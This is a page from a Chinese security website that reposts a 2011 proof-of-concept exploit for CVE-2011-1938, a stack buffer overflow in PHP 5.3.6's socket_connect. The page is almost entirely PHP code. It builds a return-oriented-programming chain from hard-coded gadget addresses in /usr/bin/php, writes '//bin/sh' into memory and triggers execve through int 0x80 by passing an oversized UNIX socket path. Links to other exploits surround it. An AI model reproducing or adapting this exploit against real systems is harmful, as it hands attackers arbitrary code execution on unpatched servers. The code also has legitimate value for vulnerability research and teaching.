首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938
来源:http://shell-storm.org 作者:Jonathan 发布时间:2011-07-05  
<?php
/*
** Jonathan Salwan - @shell_storm
** http://shell-storm.org
** 2011-06-04
**
** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1938
**
** Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c
** in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary
** code via a long pathname for a UNIX socket.
*/

 

echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)\n";
echo "[+] CVE-2011-1938\n\n";

# Gadgets in /usr/bin/php
define('DUMMY',     "\x42\x42\x42\x42"); // padding
define('STACK',     "\x20\xba\x74\x08"); // .data 0x46a0   0x874ba20
define('STACK4',    "\x24\xba\x74\x08"); // STACK + 4
define('STACK8',    "\x28\xba\x74\x08"); // STACK + 8
define('STACK12',   "\x3c\xba\x74\x08"); // STACK + 12
define('INT_80',    "\x27\xb6\x07\x08"); // 0x0807b627: int $0x80
define('INC_EAX',   "\x66\x50\x0f\x08"); // 0x080f5066: inc %eax | ret
define('XOR_EAX',   "\x60\xb4\x09\x08"); // 0x0809b460: xor %eax,%eax | ret
define('MOV_A_D',   "\x84\x3e\x12\x08"); // 0x08123e84: mov %eax,(%edx) | ret
define('POP_EBP',   "\xc7\x48\x06\x08"); // 0x080648c7: pop %ebp | ret
define('MOV_B_A',   "\x18\x45\x06\x08"); // 0x08064518: mov %ebp,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('MOV_DI_DX', "\x20\x26\x07\x08"); // 0x08072620: mov %edi,%edx | pop %esi | pop %edi | pop %ebp | ret
define('POP_EDI',   "\x23\x26\x07\x08"); // 0x08072623: pop %edi | pop %ebp | ret
define('POP_EBX',   "\x0f\x4d\x21\x08"); // 0x08214d0f: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('XOR_ECX',   "\xe3\x3b\x1f\x08"); // 0x081f3be3: xor %ecx,%ecx | pop %ebx | mov %ecx,%eax | pop %esi | pop %edi | pop %ebp | ret

$padd = str_repeat("A", 196);

$payload = POP_EDI.   // pop %edi
           STACK.     // 0x874ba20
           DUMMY.     // pop %ebp
           MOV_DI_DX. // mov %edi,%edx
           DUMMY.     // pop %esi
           DUMMY.     // pop %edi
           "//bi".    // pop %ebp
           MOV_B_A.   // mov %ebp,%eax
           DUMMY.     // pop %ebx
           DUMMY.     // pop %esi
           DUMMY.     // pop %edi
           DUMMY.     // pop %ebp
           MOV_A_D.   // mov %eax,(%edx)
           POP_EDI.   // pop %edi
           STACK4.    // 0x874ba24
           DUMMY.     // pop %ebp
           MOV_DI_DX. // mov %edi,%edx
           DUMMY.     // pop %esi
           DUMMY.     // pop %edi
           "n/sh".    // pop %ebp
           MOV_B_A.   // mov %ebp,%eax
           DUMMY.     // pop %ebx
           DUMMY.     // pop %esi
           DUMMY.     // pop %edi
           DUMMY.     // pop %ebp
           MOV_A_D.   // mov %eax,(%edx)
           POP_EDI.   // pop %edi
           STACK8.    // 0x874ba28
           DUMMY.     // pop %ebp
           MOV_DI_DX. // mov %edi,%edx
           DUMMY.     // pop %esi
           DUMMY.     // pop %edi
           DUMMY.     // pop %ebp
           XOR_EAX.   // xor %eax,%eax
           MOV_A_D.   // mov %eax,(%edx)
           XOR_ECX.   // xor %ecx,%ecx
           DUMMY.     // pop %ebx
           DUMMY.     // pop %esi
           DUMMY.     // pop %edi
           DUMMY.     // pop %ebp
           POP_EBX.   // pop %ebx
           STACK.     // 0x874ba20
           DUMMY.     // pop %esi
           DUMMY.     // pop %edi
           DUMMY.     // pop %ebp
           XOR_EAX.   // xor %eax,%eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INC_EAX.   // inc %eax
           INT_80;    // int $0x80

$evil = $padd.$payload;

$fd   = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret  = socket_connect($fd, $evil);
?>

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CoolPlayer 219 Buffer Overflow
·Word List Builder 1.0 Buffer O
·HP OmniInet.exe Opcode 20 Buff
·Destiny Player 1.6.1.0 Buffer
·VSFTPD 2.3.4 Backdoor Command
·SAP Player 0.9 Buffer Overflow
·Wordtrainer 3.0 .ORD File Buff
·Golden FTP 4.70 PASS overflow
·Daemon Tools Lite 4.40.2.0.013
·Freefloat FTP Server Buffer Ov
·CoolPlayer Portable 2.19.2 Buf
· I.D.Manager 6.06 Build 8 (dow
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved